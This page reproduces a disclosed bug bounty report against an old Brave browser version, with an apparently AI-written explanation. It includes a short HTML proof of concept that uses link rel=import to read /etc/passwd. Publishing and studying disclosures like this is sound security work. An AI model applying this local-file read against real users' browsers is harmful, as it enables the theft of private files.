Skip to content
CORS Disclosed report Intermediate

Local files reading using `link[rel="import"]`

Brave returned a wildcard CORS header for local HTML files, allowing a malicious page to import and read local files via a link element with rel=import. An attacker could read sensitive local files such as /etc/passwd.

metnew Follow

Originally disclosed on HackerOne

  • Triaged in 26 hours
  • Fixed in 15 days
  • Paid in 4 days
  • Disclosed after 3 months

Summary:

HTML file could import another file using <link rel="import">. Brave returns Access-Control-Allow-Origin: * response header for local HTML files. That leads to local files reading.

This vulnerability makes #369218 critical.

Products affected:

Brave: 0.23.19 V8: 6.7.288.46 rev: 178c3fbc045a0cbdbe098db08307503cce952081 Muon: 7.1.3 OS Release: 17.6.0 Update Channel: Release OS Architecture: x64 OS Platform: macOS Node.js: 7.9.0 Brave Sync: v1.4.2 libchromiumcontent: 67.0.3396.87

Steps To Reproduce:

PoC:

HTML
<head>
    <script>
        function show() {
            var file = link.import.querySelector('body')
            alert(file.innerHTML)
        }
    </script>
    <link id="link" href="file:///etc/passwd" rel="import" as="document" onload="show()" />
</head>

Supporting Material/References:

Screencast + PoC attached.

Impact

Local files reading is forbidden in any browser. Also, note that this vulnerability makes #369218 critical.

Probably all platforms(macOS/Win/Linux) are affected.

Attachments

brave-read-local-files.mp4 From the original on HackerOne

The original report as published on HackerOne, by metnew. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, Brave's handling of local file requests incorrectly added a wildcard CORS header, which allowed cross-origin reads of local files.

Impact

An attacker could read arbitrary local files, which is normally forbidden in browsers; the report notes that all platforms are probably affected.

What the attacker needed

Victim uses Brave browser; victim visits a malicious page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Normally, a web page cannot read files on your computer because browsers block it. Here, the Brave browser mistakenly allowed a page to load a local file as if it were part of the page, so the page could read its contents. This means a malicious website could steal private files from your machine.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More by metnew

View all

25 more disclosed reports, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.